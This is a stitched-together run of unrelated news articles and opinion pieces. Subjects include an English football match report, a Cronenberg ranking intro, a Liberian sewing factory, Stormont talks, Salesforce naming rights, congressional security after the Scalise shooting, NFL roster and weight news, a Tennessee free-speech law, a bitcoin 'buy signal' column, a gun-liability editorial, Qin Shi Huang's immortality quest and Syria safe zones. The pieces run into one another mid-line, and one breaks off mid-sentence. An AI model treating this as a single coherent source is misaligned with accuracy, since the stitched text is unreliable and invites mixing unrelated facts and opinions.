Cody McDonald forced Craig Alcock to make a last ditch tackle as he weaved his way into Mark Howard’s area while Josh Pritchard would have been clean through had been able to control his colleague’s lofted ship over McEveley’s shoulder.
United replied with a series of forays forward but the intensity was beginning to disappear from the match.
McEveley, in the 18th minute, spotted Davies making a run towards Bywater’s far post but his centre spiralled out of play. Just.
Wallace tried his luck from long-range soon after and, although Bywater was beaten, his shot flew just past the top corner of his net.
Gillingham were creaking again with Alcock and Doyle, who later drew a fine save from the on-loan goalkeeper, both doing well to regain the ball before failing to produce a killer pass.
Armine Linganzi was cautioned in the 29th minute for tripping Scougall, who turned his marker with a deft twist and turn of pace, right on the edge of the box but Davies’ set-piece hit the wall.
As Murphy’s influence waned, so Scougall’s grew and he did well to ride two heavy tackles during a run across the area during the closing stages of the half before failing to read McNulty’s return.
The young Scottish striker underlined his potential by ghosting away from Gillingham’s two central defenders but Joe Martin bravely flung himself in front of the resulting shot.
Half-timne: United 0 Gillingham 0
--United should have begun the second-half in front.
McNulty’s header was expertly saved by Bywater at the near post during added time before, during the ensuing scramble, Linganzi hacked McGahey’s follow-up off the line.
Davies found himself in acres of space as United mounted a counter-attack but his centre, towards McNulty, was again cut-out.
That prompted a howl of anguish from Clough as he did a series of pogo jumps in the technical area. There was more frustration when, in the 50th minute, McNulty saw a shot blocked on the line. The Scottish striker skipped beyond his marker and then rounded Bywater before turning full circle to face the goal. His low drive seemed destined to nestle in the back of the net but Callum Davies, somehow, was able to keep the ball out despite being off balance. It was a superb contribution from the Gillingham defender.
Murphy won a corner just before the hour but again Gillingham survived a goalmouth skirmish when Scougall miscued in front of The Kop.
Bywater, sensing another long half was in the offing, took an age over his goal-kick before tipping Wallace’s header over the crossbar following Alcock’s deep cross.
Bywater excelled himself in the 66th minute when Wallace released Scougall whose close-range attempt was palmed clear.
There was a triple substitution in the 70th minute. United sent on Flynn and Harris for Davies and McEveley while Gillingham withdrew McDonald with Norris entering the fray.
McNulty struck the foot of the post after directing his shot across Bywater following some excellent work by Wallace. It was his final contribution before making way for Michael Higdon who, moments later, saw a header hit the woodwork.
With seven minutes remaining, there was a breakthrough.
Inexplicably, though, it was Gillingham who scored.
Norris unleashed a fierce angled shot which beat Howard and went in off the underside of the crossbar. There was stunned silence throughout the ground as, even the Gillingham supporters, came to terms with the fact they were in front.
Higdon, deservedly, drew United level with three minutes remaining. Murphy and Alcock exchanged passes and the latter, spotting Higdon’s run, placed the ball in exactly the right place for him to slide home at the near post.
Then, with only seconds remaining, Murphy ensured United claimed the three points their efforts deserved when he rounded his marker and caressed the ball past the onrushing Bywater from another tight angle, sparking delerious scenes of celebration inside Bramall Lane.It takes a lot of great work over a long career to be considered a great filmmaker, but it could be argued that the true mark of legendary status is when your name becomes synonymous with an entire aesthetic or style, when enough people have attempted to do what you did first that you become the zero standard for those who follow. You hear it all the time: Spielbergian journeys taken by young people through lushly photographed locales, Tarantino-esque bursts of violence. But of them all, few are more uniquely distinct than the subset of films that come to mind when you talk about David Cronenberg.
The signature is “body violence,” and throughout his career there’s been no shortage of it. The filmmaker has worked heavily in the arts of repulsion and paranoia, those often informing one another, and has spent decades challenging the boundaries of popular art. His films engage with our bodies in ways few others do, both theoretically and in the literal sense of the nausea his films have the capacity to induce in audiences.
So, with his latest film, Maps to the Stars, debuting in limited release and via VOD platforms this weekend, we got to debating the best work of one of modern film’s most unique, perverse, and wholly distinct voices. Read on, and long live the New Flesh.
–Dominick Suzanne-Mayer
Film Editor
10. eXistenZ (1999)
A funny thing happened to David Cronenberg in the 2000s: he went mainstream. He traded in his decades-long obsession with physical deformity, over-the-top gore, and sexual symbolism for relatively straightforward narratives, ones that were more palatable for the average moviegoer. This directorial shift proved successful, and he quickly began racking up more award nominations ( |
African Oprah Winfrey.”
But to be a West African Oprah, she needed to dress like a West African. So she took a sketch of a dress she dreamed up to a Monrovian tailor. When she went to pick up the dress, not only was the tailor wearing her design, but so was another customer.
Later that year, she sold out of her clothes at a shopping party in Atlanta. Friends and family loved the punchy designs — one in particular that Bernard, 27, thought might be “too African” sold out first.
“It encouraged me,” she says. “Maybe I’m on to something and maybe people are really interested in things that we have here.”
Now, Bernard and the employees of The Bombchel Factory have a Kickstarter fund in place to begin their venture into fashion.
Skills for Life
The Bombchel Factory hires Liberian women who have been affected by Ebola or are rape survivors and teaches them how to sew as part of a skills training program. For 12 women, it could mean the difference from barely surviving to thriving in a year.
“I want them to have the opportunity to go out and make their own plan and make their own way,” Bernard says.
The Bombchel Factory, which opened Feb. 13, pays each woman a fair wage for a year while they learn to sew Bernard’s contemporary line of West African clothing. The women are taken on as trainees, and then they graduate to full-time employees once they learn how to sew the entire collection. They also earn a portion of the sales from each garment.
“We’re learning how to sew dresses, scarves and many other things,” Emma Goanue, 47, says. “The plan that she has for us … I am grateful.”
Skirts, blouses, ties and even hoop earrings are produced from stunning, colorful textiles locally sourced in Monrovia. The casual, but modern line is designed for women who want their look to pop even when they’re shopping for tomatoes, Bernard says.
Women at the Bombchel Factory not only learn a trade, but they also attend literacy, business and budgeting classes as well. The end goal, Bernard says, is to give each woman the skills they need to become business owners themselves if they desire.
“When I started, I didn’t know how to do anything like this,” Beatrice Blama, 27, says. “I would like to start my own business.”
That’s exactly what Bernard wants.
“Ideally, I want, in 10 years, to have nothing but competition from our factory,” Bernard says. “I want all of these women to have their own businesses and competing with theirs and mine. That’s what we want — women who can open businesses and really change the economy in Liberia.”
The Ebola Outbreak
It wasn’t until Ebola spread through West Africa that Bernard formulated the plan that would help these Liberian women get back on their feet.
At the time, Bernard and a friend were running a retail shop, Mango Rags, and contracting Liberian tailors to make clothing when Ebola swept through West Africa, killing thousands of people.
Bernard decided to come home to Atlanta during that time, but it tugged at her conscience that her employees and friends were still there and without work.
“People just stopped shopping,” Bernard says. “I packed up the store and sold the clothes in Atlanta to see what could be done.”
Bernard took some time to shadow other boutique owners and manufacturing factories in the U.S. for ideas to make the next step in Liberia once the Ebola outbreak subsided.
Her biggest takeaway was manufacturing. It offered the permanency Bernard was looking for and the ability to help Liberian women learn to sew.
She returned to Liberia, plans in hand, to lay the foundation for women like Blama, who lost her husband to Ebola, to learn a new trade.
“I wanted to start The Bombchel Factory because of women like [Beatrice],” Bernard says. “There are so many people who need a new start, a fresh start, which is what we have the opportunity to do with my store after Ebola ended.”
Bernard didn’t stop there; she also started an internship program with Hope School for the Deaf, which provides academic and skills training to hearing-impaired children in Monrovia.
By September, Bernard wants to bring on 12 more women to learn the business, launch The Bombchel Factory’s retail website and attend New York Fashion Week to debut the company’s spring/summer 2017 collection.
Family Roots
She credits her drive to help these Liberian women to her own heritage, which is Liberian-American.
Her grandfather came to the U.S. from Liberia in the 1950s to attend college at Atlanta University when he met Bernard’s grandmother, who was a student at Clark College. They married and moved back to Liberia until the civil unrest began in the 1980s. Then the family moved back to the U.S.
Her life was so changed by where she had grown up. It deeply impacted her when she found out that a friend, who is the same age, endured a very different experience in Liberia during the civil war, which lasted from 1989 to 1997 and killed about 150,000 people, according to the U.N. The family, Bernard says, had to flee on foot to Guinea to escape the war-torn country.
“I just think about that … what are the odds?” Bernard says. “It could have been me who had to run on foot to Guinea, and then I wouldn’t have had this experience or the opportunity to reach clients in Atlanta. … We’re all women and the only thing that separates us is basically what happened to us during the war and our ancestral background in that way.”
But now when she steps into The Bombchel Factory, she sees women who are “ready to work, learn, help each other, support each other.” And that gives her hope.
“It’s a real testimony of just having faith in that you can do more than what you’re born into,” she says. “I’ve never felt more excited to just praise God. It’s like so many things had to happen for all of us in order to bring us together. … I’m just excited to see where it goes.”Image copyright Reuters
EU leaders need to know soon who they can talk to in Northern Ireland about Brexit, the Irish prime minister says.
Leo Varadkar was urging the Stormont parties to strike a deal to restore a power-sharing Northern Ireland Executive after months of deadlock.
In a speech in Londonderry on Friday night, he warned: "The clock is ticking and it is later than you think."
There is "no substitute" for a Stormont executive speaking directly for people in the region on Brexit, he added.
Progress has been made in talks between the Democratic Unionist Party (DUP) and Sinn Féin, according to Northern Ireland Secretary James Brokenshire, but "clear differences" still remain.
Irish Foreign Minister Simon Coveney said the negotiations had reached a "sensitive" point, adding that he is hopeful of a successful outcome soon.
The Northern Ireland Executive collapsed in January and the previous round of discussions between the DUP and Sinn Féin ended in stalemate in June.
'Could play important role'
Speaking at a Londonderry Chamber of Commerce event, Mr Varadkar said he would make the strongest possible case for Northern Ireland in talks about Brexit with other EU leaders.
But he added: "My mandate is weakened because I don't come from here.
"It is essential that a new power-sharing executive is in place in Northern Ireland as soon as possible.
"Your institutions could play an important role in the Brexit negotiations, particularly as there are structures and mechanisms in place for the devolved administrations to be consulted, and to have their say on legislation being considered in Westminster.
"Now more than ever we need an answer to the question, of who we - and others in Europe - talk to in Belfast?
"Who will speak for Northern Ireland and her 1.8 million people?"
Northern Ireland has been without an executive after a dispute between the DUP and Sinn Féin over several issues saw it break down.
The parties have since blamed each other for the failure to restore devolution.
Among the main sticking points in the talks is Sinn Féin's demand for legislation to give official status to the Irish language.Through a $110 million, 25-year sponsorship deal, Salesforce, the CRM software firm, has officially gained the rights to change the Transbay Transit Center’s name, to the Salesforce Transit Center. The San Francisco tech company can spread their logo and their name across 177 different signs all throughout the entire building.
Ed Reiskin, director of the Municipal Transportation Agency, does not like that the organization has to depend on the sponsorship.
“Unfortunately, we are in a situation where we have to rely on naming rights. I find it distasteful, philosophically, but I get it, logically—every dollar we get privately helps us fulfill our public mission,” Mr. Reiskin said to SFGate.
Within this entire turn of events, Salesforce has now gained the ability to restrict the hours of the attached park, which is being entirely driven by public funding. Residents of the Bay Area are in outrage that the agreement with Salesforce will allow privatized ownership of an open area.
Jane Kim, a San Francisco supervisor, told SFGate does not think that the agency should not have to request Salesforce’s written permission to change the rooftop park’s closing hours.
“I can’t support that Salesforce has a say over public hours in a public park,” Ms. Kim said. “That is completely unreasonable. I don’t think any amount of money should give them that right.”
“San Francisco has been home to Salesforce since our founding in 1999,” Salesforce released in a statement. “As the city’s largest technology employer, we are deeply committed to making this city a better place for all its residents and visitors. We’re happy to grow our commitment to the city with Salesforce Transit Center and Salesforce Park, which will provide better access to and from San Francisco, and a sprawling public park for all to enjoy. Salesforce continues to be aligned with the city on investing in all public interest, and we look forward to the opportunity to further discuss this important partnership.”
This sponsorship deal includes an upfront payment of $9.1 million at the beginning or bus services, expected to begin sometime next spring. Annual payments will start from $3.28 million within the parameter of the fourth year of operations. With over $20 million in estimated maintenance costs and security-related funding expected on an annual basis, they are expecting that their new, well-oiled machine—accessed mainly through Mission and Fremont streets—will operate efficiently over the course of this 25-year sponsorship deal.Rep. Cedric Richmond (D-La.) was House Majority Whip Steve Scalise’s chief defender two years ago when the Louisiana Republican faced a major scandal that threatened his political career.
Today, Richmond is leading the fight for better security protection for lawmakers after a gunman tried to end the lives of Scalise and many others on a suburban baseball field Wednesday morning.
Even before a gunman fired on Republicans practicing for Thursday night’s charity baseball game, Richmond had privately warned Speaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE (R-Wis.) that lawmaker security was woefully inadequate.
He sent a letter to leadership, then voiced his concerns to the Speaker during a meeting last week.
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“I think the security for members of Congress is embarrassingly inadequate. It’s a concern I’ve had for a number of years,” said Richmond, who rushed to the hospital Wednesday to see Scalise and planned another visit Thursday shortly before taking the mound at the Congressional Baseball Game at Nationals Park.
“Look, I signed up for this, but my 3-year-old didn’t and our families didn’t,” Richmond added. “I’ve had threats and most members I know have had threats.”
Asked if he thinks Scalise, the No. 3 House GOP leader, will pull through, Richmond replied cautiously: “I'm prayerful he will pull through.”
Richmond, 43, is well-suited to take the lead on heightening security. He’s the chairman of the Congressional Black Caucus (CBC), whose members have been targeted disproportionately with death threats and other menacing messages.
Rep. Al Green Alexander (Al) N. GreenThe Hill's Morning Report - Presented by the American Academy of HIV Medicine - Next 24 hours critical for stalled funding talks Democrat vows to move forward with impeachment, dividing his party Citing Virginia race scandals, Dem vows vote to impeach Trump MORE, a Houston Democrat who’s been among President Trump’s harshest critics, received death threats last month when he floated the idea of pushing to impeach the president. Among the attacks were voicemails threatening to lynch the black lawmaker.
In response, two Capitol Police officers were dispatched to Houston, where they remain while the investigation into the threats continues.
“We have made some modifications in my office in Houston,” Green said, without providing details. “We don’t take the threats that are made lightly.”
Wednesday’s shooting in Alexandria, Va., injured Scalise, two Capitol Police officers in his security detail, a Hill staffer and a lobbyist, and it cast a media spotlight on Richmond’s calls for tighter security for lawmakers.
As Scalise underwent a third surgery for his injuries Thursday, his GOP and Democratic colleagues discussed and debated what measures could be taken without busting the budget.
Rep. Ann Wagner (R-Mo.) and other members are urging leadership to allow lawmakers to use their office funds — known as Member's Representational Allowance, or MRA — for added security when they are back in their districts, including for home-security cameras.
Such a change appears to be a popular one with lawmakers of both parties. Richmond said an extra $1 million for MRAs could help “save lives.”
“I can’t tell you how many threats I’ve had against my home,” said Rep. Jim Clyburn (S.C.), the third-ranking House Democrat and another prominent CBC member.
“In fact, I’ve had state police staying at home with my family.”
Current House rules bar members from using their MRAs for security; campaign funds may be used, Richmond said, but only if a lawmaker has faced a personal threat. “It’s confusing,” he said.
Some lawmakers said they also want to have greater flexibility to use office funds to pay for security when they attend campaign events in a public setting. Lawmakers are always targets, even when they are at campaign events, one member lamented.
Others want Capitol Police or law enforcement officials present at any event where large numbers of lawmakers are gathered, such as congressional baseball or softball practices. Richmond and many others pointed out that had Scalise missed practice Wednesday, his security detail would not have been there to thwart the attacker.
“Had Steve been sick or tired or lazy and didn’t go to practice, then you would have seen a full-fledged massacre,” Richmond told a large gaggle of reporters just off the House floor.
Ryan and House Minority Leader Nancy Pelosi (D-Calif.) had already been discussing protocol and additional resources for lawmaker security before this week’s shooting, according to Ryan spokeswoman AshLee Strong. Last week, Ryan decided to sit down with Richmond to hear more about his recommendation that the Federal Elections Commission allow lawmakers to use campaign funds for security purposes.
But no final decisions were made.
Pelosi noted Thursday that members of the Democratic baseball team, who were also practicing Wednesday morning at a separate field, were unprotected because both she and House Minority Whip Steny Hoyer (D-Md.), both of whom travel with a detail, are not on the team. She endorsed the idea of having Capitol Police at all future practice sessions — a notion she characterized as “self-evident” in light of Wednesday’s shooting.
“Right now they have a perimeter that they cover, and these parks were outside the perimeter,” she said. “That really maybe shouldn’t be the standard of what they secure.”
Pelosi emphasized that security protocols are largely out of Congress’s hands — “the security evaluations are really up to the Capitol Police” — but she also suggested Congress’s police force is underfunded and lawmakers of both parties should support a budget boost.
“They change the rules, but I think we can give them more resources,” she said.
Richmond and Scalise go back to 2000, when they were serving together in the Statehouse in Baton Rouge. After they both were elected to Congress, they formed a close bond — and friendly rivalry — on the baseball diamond, playing for opposing teams at the annual charity game.
For years, Richmond, a former pitcher for Morehouse College, dominated Republicans on the mound, but the GOP took back the title last year after a seven-game losing streak.
The Scalise-Richmond relationship was tested in late 2014, when a local blogger unearthed that Scalise had addressed a white supremacist group as a state lawmaker in 2002. Some Democrats called for his resignation, and many thought Scalise’s career in Washington might be over.
But Richmond swooped in, telling reporters that Scalise didn’t have “a racist bone in his body.” That defense braced Scalise against his Democratic critics and gave him breathing room to rehabilitate his reputation.
Thursday, as Scalise remains in critical condition, lawmakers of both parties vowed to take the field with their injured colleague in mind. More than 20,000 tickets to the baseball game had been sold by 4 p.m. Thursday, raising more than $1 million for underprivileged youth in Washington, D.C., according to Roll Call.
“We're going to go to the game today. We're going to play our hardest to win. And throughout the whole game, we will all be Team Scalise,” Pelosi said.
“That camaraderie, I think, will be very positive as we go forward.”The Buffalo Bills have reportedly released veteran offensive lineman Chris Williams, with reports surfacing on Tuesday evening that the guard had failed a physical.
The Bills have terminated the contract of guard Chris Williams with a designation of failed physical, a source tells @FieldYates. — Mike Rodak (@mikerodak) July 28, 2015
The Bills only save $225,000 against the 2015 salary cap in the move, but they also remove cap figures of $3.675 million and $3.725 million from their books in 2016 and 2017, respectively, as well.
Williams missed most of the 2013 season - his only year in Buffalo - with a back injury that eventually landed him on IR. He appeared in only three games, and following surgery, he was also a no-show for the entirety of the Bills' spring workout program.
After Buffalo signed Richie Incognito in February and spent a third-round pick on John Miller in the 2015 NFL Draft, Williams was an expected release. The team relieved itself of a bloated salary for a player that was clearly not going to compete with two hand-picked players for a starting job.
Williams' release leaves the Bills with just 13 offensive linemen on their roster with training camp practices beginning on Friday. Of those 13 linemen, only four - Incognito, Eric Wood, Kraig Urbik, and Cordy Glenn - have more than a year's worth of meaningful NFL experience.The CW is tweaking its plan for The Flash, by giving the Scarlet Speedster a formal standalone pilot versus a planted pilot toward the end of Arrow Season 2.
RELATED | Arrow Meets The Flash: Burning Questions Answered
The plan to introduce Barry Allen — an assistant forensics investigator working for the Central City police department — via the sophomore drama Arrow remains unchanged. As seen in the photos below, the character (played by Glee’s Grant Gustin) will debut in Episode 8, “The Scientist” (investigating a seemingly impossible robbery at Queen Consolidated’s Applied Sciences Division) and also appear in Episode 9, “Three Ghosts.”
UPDATED: Once again, with feeling: These scenes below are set at Queen Consolidated’s Applied Sciences lab.
But whereas this season’s Episode 20 was to be a Flash-heavy [insert iPad joke] look at the costumed crimefighter, our sister site Deadline reports that The CW instead will forego that third Arrow appearance and shoot a standalone, David Nutter-directed pilot co-written by DC Comics Chief Creative Officer Geoff Johns and Arrow EPs Andrew Kreisberg and Greg Berlanti.As college campuses across the country, especially in California, suppress free speech to protect liberal students’ feelings, the state of Tennessee just passed a landmark law to ensure no students are shut down because of their political beliefs.
On May 9, Tennessee Gov. Bill Haslam (R) signed the Campus Free Speech Act, allowing the strongest free speech enforcement bill in the country, reported the Foundation for Individual Rights in Education.
Under the law, all college campuses must adopt policies consistent with the University of Chicago’s Free Speech Policy Statement. It states that the colleges must be fundamentally committed “to the principle that debate or deliberation may not be suppressed because the ideas put forth are thought by some or even by most members of the University community to be offensive, unwise, immoral, or wrong-headed.”
The new law also bans “free speech zones” considering every part of the U.S. is guaranteed the First Amendment and forbids institutions from rescinding invitations invited by students and faculty.
Faculty are also protected under the law from liberal activist students who try to oust professors for triggering them.
Only seven of the 122 state legislators in the House and Senate voted against the bill, enjoying broad support from both parties.
A similar bill failed to pass the State House in Louisiana on Thursday.
Latest VideosVarious clichés abound in the investing world. While many are gross oversimplifications of dynamic complexity in behavioral finance, some of them are timeless pieces of wisdom. Included in this latter half is the famous recommendation by Baron Rothschild to “buy when there is blood in the streets.”
This strategy is never cut-and-dry however. Calling bottoms can be a dangerous game—referred to among traders as trying to catch a falling knife.
Different metrics exist to quantify swings in market sentiment. Momentum indicators are one way to model this. The implications of momentum indicators are multifold.
That both in terms of buying and selling trends, human behavior is hyperactive and tends to overshoot the mark in both directions (an expression of hive mind collectivity, and swarm behavior).
The price of any asset tends to diverge over time, at least transiently, from these extreme market conditions.
Counter-trend movement in price is known as a correction, or in fibonacci trading lingo, a “retracement.”
Using larger time frames in the technical analysis of these probable corrections tend to provide the best insight with the least risk for error. Three separate momentum indicators (Relative Strength Index, William’s %R, and Stochastics) currently confirm an increase in recent fear, and suggest an upswing is possibly coming soon to compensate.
Technical evidence of fear and blood (click for full size):
Chart by Brandon Chase
These insights are confirmed by all the negative chatter about bitcoin’s price drop and worries about its utility and fundamentals.
In the near future, it will be possible to data mine social media for changes in the frequency / density of such emotion-ladden keywords in real time. Certain software and scripts exist currently that attempt to model this sentiment to generate buy and sell points, but ultimately they fall short.
A quick look at last week’s news shows us where we’re at intuitively.
Evidence in the media of fear and blood:
Major bitcoin exchange suspended after price plunge (CNBC)
Bitcoin rebounds from 14-month low but remains below $300 (Nasdaq)
Bitcoin’s New Year’s price plunge (Pymnts)
There is an amusing site about this doomsday bandwagon effect, aptly named “Bitcoin Obituaries” – which observes, tongue-in-cheek, that bitcoin has died approximately 25 times. Of course, we have always had the last laugh.
Interpreting market sentiment is tricky business, and there are never any gaurentees. With that said, given the correlation between recent fearmongering in media outlets and a sharply declining price, bitcoin is flashing a buy signal for smart, long-term investors.
If historical performance is indicative of future performance (a presumption necessary for any investment) and bitcoin’s antifragility continues unabated, then this long bear market and sell-off is about to end as we see a significant rebound in price action over the coming months.
As Daniel Krawisz wrote so succinctly back in November: “Don’t Panic.”Russell Crowe has explained why we didn't see him pop up in Zack Snyder's Batman v Superman: Dawn of Justice.
According to the Gladiator star, there were initial plans to do more than one Superman movie before the super face-off, but when plans changed there were no further discussions about including Crowe's Jor-El, Superman's father, who we met in Man of Steel.
Crowe was talking to Digital Spy ahead of the release of his new movie The Nice Guys, where he plays thuggish PI Jackson Healy who teams with Ryan Gosling's Holland March to locate a missing girl in Shane Black's '70s-set noirish buddy movie.
Moviestore Rex Shutterstock
Crowe is currently filming his next project, Universal's reboot of The Mummy, which he says is going to "scare the shit" out of audiences.
Crowe plays split-personality sufferer Dr Jekyll, opposite Tom Cruise's Navy SEAL in a reimagining which is planned to be part of a whole new 'Universal Monsters' universe.
When we asked if he'd be up for a standalone for Jekyll, he told us "that's potentially what's on the table".
Check out the video for more.
The Nice Guys is released in cinemas on June 3.Sharrif Floyd, 2013 first-round draft pick and presumed starter and under tackle for the Minnesota Vikings gave up eating meat in order to lose weight, and has hit his target weight of 305 pounds from the 330 he weighed at earlier in the offseason.
He decided to forego meat (but not fish) on March 7th, and lost 10 pounds within a week. A few weeks later, he lost an additional 15 pounds, checking in at a svelte 305.
Hopefully Floyd never weighed in at 330 during the season as that is far above the target weight for under tackles in nearly any defense, and can even be considered heavy for 4-3 nose tackles. Linval Joseph, the presumed starter at NT, is listed at 323 pounds. Pat Williams was listed at 317 pounds, though admitted upon retirement he played closer to 340 (though he always targeted 324).
In contrast, converted under tackle (from defensive end) Kevin Williams was listed at 311 pounds with the Vikings and Geno Atkins, the star under tackle for Mike Zimmer in Cincinnati, is listed at 303 pounds. Generally speaking, the under tackle has more pass rush responsibilities, and will sacrifice some weight (and strength) in order to gain speed and explosiveness.
Said Floyd to Pioneer Press reporter Chris Tomasson at the Vikings’ Play 60 event, “(Giving up meat was) really hard. I lived off pork. I thought pork made the world go around.
“That was just me (making the decision). Do I want to keep putting this stuff in my body or do I want to get right? So I decided to give up things that I love that are not really good for me right now. My body feels great. I’ve been telling people my body hasn’t felt this way since I first started playing football.’’
Giving up pork evidently doesn’t stop him from hunting boar, as Dan Zinski at the Viking Age points out.
Hopefully playing in the best shape of his football life will lead to on-field dividends, as he needs to bounce back from a mediocre rookie year. Floyd’s weight at the NFL Combine was 297 pounds, and he played between 295 and 305 at the University of Florida.Article Tools Font size – + Share This
If a bartender sells booze to someone who already is drunk, he and the bar can be sued and held liable if the intoxicated patron hurts someone.
But if a gun shop clerk sells 1,000 rounds of ammunition to someone for use in a semi-automatic weapon that later is used in a mass shooting … well, what can you do?
Because too many members of Congress are clients of the gun industry-controlled gun lobby, the Protection of Lawful Commerce in Arms Act of 2005 immunizes the gun industry against civil liability to a degree not enjoyed by any other enterprise.
So, for example, the courts quickly dismissed a lawsuit by the parents of a teenage girl who was killed in the 2012 mass shooting at an Aurora, Colorado, movie theater. They contended that the gun shop that sold thousands of rounds of ammunition to killer James Holmes had failed to use reasonable safeguards to prevent dangerous people from obtaining guns and ammunition. But the federal law fulfilled its purpose, ensuring that such cases never are heard on their merits.
That is just one example. The law includes only very narrow circumstances under which a gun manufacturer or dealer could shoulder liability for unsafe products or practices.
Rep. Adam Schiff, a California Democrat, has introduced a bill to repeal the 2005 law in favor of the same sort of liability standards that apply to all other types of commerce. Congress should do so to increase accountability and, consequently, help to diminish gun violence.The first emperor of China exercised his unprecedented administrative power by ordering an imperial quest for the “elixir of life,” a medicine that would make him immortal, according to a new analysis of ancient Chinese records.
The empire-wide medical project marshalled the power of doctors, farmers, tradesmen, couriers and soldiers, all centrally controlled by the court of Qin Shi Huang, who united the warring states of ancient China and made them function as one.
He ordered progress reports on his quest for eternal life, some of which are detailed in a massive set of wooden bamboo slips that are painted with imperial records, which have been closely studied since their discovery in 2002.
According to a report in the Chinese state news agency Xinhua, a new analysis shows how the emperor’s quest for immortality was carried out, and how a village called Duxiang, for example, sent word that no “miraculous potion” had yet been found, but the search “would continue.”
Another place, Langya, in what is now Shandong Province, south of the modern capital Beijing, sent a mountain herb to the emperor, with praise for its auspicious properties, the records show.
The quest illustrated the efficiency of an early mail service, the state of medical knowledge and practice, and the rapidly expanding authority of a warrior king with a reputation for cruelty and vanity. This was happening in the third century BCE, at about the same time as Roman influence was first expanding beyond Italy.
“It required a highly efficient administration and strong executive force to pass down a government decree in ancient times when transportation and communication facilities were undeveloped,” said Zhang Chunlong, a researcher at the Hunan province archaeology institute, according to the Xinhua report.
Zhang studied the slips that relate to medicine in the collection known as the Liye Qin Slips, which date from 222 to 208 BCE. These are rare original records of the Qin Dynasty, 36,000 pieces, discovered in an archeological dig in 2002. Most of what is known about the era was recorded later in the Han Dynasty, but these give a contemporary glimpse into the functioning of early Imperial China.
One thing that is well known is the first emperor’s desire for eternal life. That much has been world famous at least since the discovery in the 1970s of the Qin terracotta army, an array of thousands of statues of soldiers, now one of China’s biggest tourist attractions. These are laid out as protection for the emperor’s mausoleum near modern Xian. It is a great tomb mound built over his lifetime, surrounded by a vast city, once said to be fitted with booby-trapped bows set to fire arrows at intruders.
Much of the army is unearthed, but the tomb and most of the necropolis remain unexcavated and unknown, except by imaging technology.
Qin Shi Huang is also famous for press-ganging peasants into building the Great Wall of China, which first came together under his imperial rule. He died in 210 BCE, reportedly because he ingested mercury or some other poison on the advice of his court alchemists and doctors, hoping it would bring him eternal life.
• Email: [email protected] | Twitter: josephbreanDemocratic and Republican vice presidential candidates Mike Pence and Tim Kaine both advocated for establishing “safe zones” in war-torn Syria during their debate Tuesday night, an indication that whoever wins in November, the U.S. may end up deploying considerable resources — including ground troops — in the Middle East again.
“I truly do believe that what America ought to do right now is immediately establish safe zones so that families, and vulnerable families with children can move out of those areas, work with our Arab partners, real-time, right now, to make that happen,” Pence said.
Kaine responded, “Hillary and I also agree the establishment of humanitarian zones in northern Syria with the provision of international human aid, consistent with the United Nations Security Council resolution that was passed in February 2014 would be a very, very good idea.”
Moderator Elaine Quijano later followed up by asking Pence how a “no-fly zone” (NFZ) would work, but it’s important not to confuse these two concepts. A NFZ is something that would be accomplished mostly through the air, setting up territory where civilians could take shelter from aircraft. “On the whole, it doesn’t necessarily entail a major ground-based deployment in this area itself,” said Melissa Dalton, a senior fellow at the Center for Strategic and International Studies’ International Security program and a former country director for Syria at the Department of Defense.
By contrast, safe zones or humanitarian corridors, which have a more extensive objective of protecting civilians in a territory from all types of violence — whether it be attacks from the air, artillery and small arms fire, require much more than just an end to aerial bombardments.
“The barrel bombs and air assaults that [Syrian President] Assad has been conducting against his population are terrible, … but when you look at the actual data, most of the actual Syrian civilians who have been killed have been killed by shooting, mortar, artillery and rocket attacks,” Dalton noted. She pointed to data collected by Syria’s Violations Documentation Center and published in The New York Times last September. At that point, over 50,000 Syrian civilians had been killed from attacks emanating from the ground, eclipsing the almost 19,000 documented to have been killed in aerial bombardments.
Dalton explained that a response to that violence would have to take the form of a ground force, likely composed of the United States and allied countries, as well as Syrians themselves.
“You’re trying to create a perimeter area where there can be a free flow of humanitarian resources and perhaps even stabilization resources reaching a population that’s critically at need,” she said. “And you need to have some protection of those civilians. And that could be a mix of partner forces on the ground … and/or substantial numbers of U.S. and coalition forces to protect those civilians. Because there’s only so much you can do from the air to protect folks if there’s going to be a discrete area where they’re going to be able to escape to and flee violence and be protected.”
What the U.S. contribution to such a force would look like is at this point unclear, but U.S. officials have suggested that it would require substantial personnel and resources. In his 2013 assessment given to Congress, then-Joint Chiefs of Staff Chairperson Martin Dempsey said that “thousands of U.S. ground forces would be needed, even if positioned outside Syria, to support those physically defending the zones. A limited no-fly zone coupled with U.S. ground forces would push the costs over one billion dollars per month.”
In February, Secretary of State John Kerry told a Senate panel that the Pentagon has estimated it would take between 15,000 and 30,000 American troops to secure safe zones within Syria.
Writing in the Washington Post, former senior U.S. diplomats Nicholas Burns and James Jeffrey called on President Obama to “consider stronger measures to protect millions of civilians at risk,” including the establishment of safe zones. “Our experience as diplomats suggests that the United States would have to deploy U.S. soldiers on the ground inside Syria along the Turkish border in order to recruit the majority of the zone’s soldiers from Turkey and other NATO allies, as well as the Sunni Arab states,” they acknowledged.
The Democratic and Republican presidential campaigns, however, have not acknowledged the extensive commitment it would take to establish these zones.
“I will not send American combat troops to Iraq or Syria. That is off the table. That would be a terrible mistake,” Hillary Clinton said in February, despite repeatedly advocating for a safe zone for Syrian refugees. Kaine has been an advocate of the safe zone approach since at least 2015; that year, he sent a letter to President Obama urging him to adopt the policy.
Trump’s campaign has been all over the place on the issue. Last November, he said he’d create a “big beautiful safe zone” in Syria; in May, the candidate told an MSNBC morning show that he wanted to fight ISIS, not Assad. At a rally in Virginia in August, he reiterated the safe zone idea but said the Gulf States will pay for them. Pence’s statements at the debate on Tuesday mark the first time the campaign has said anything that detailed.Was Lionfish Research Hijacked by 12-Year Old from Palm Beach Florida? | A Month Following the Announced Lionfish Ban in Florida, a 12-year-old South Florida Girl Accredited for Breakthrough in Lionfish Research; Mistaken accreditation, or Plagiarism? Over the Years, Research Regarding the Invasive… A Month Following the Announced Lionfish Ban in Florida, a 12-year-old South Florida Girl Accredited for Breakthrough in Lionfish Research; Mistaken accreditation, or Plagiarism? Over the Years, Research Regarding the Invasive… in News by Travis Fillmen Monday, July 21 st, 2014
A month following the announced lionfish ban in Florida, a 12-year-old south Florida girl accredited for breakthrough in lionfish research; mistaken accreditation, or plagiarism?
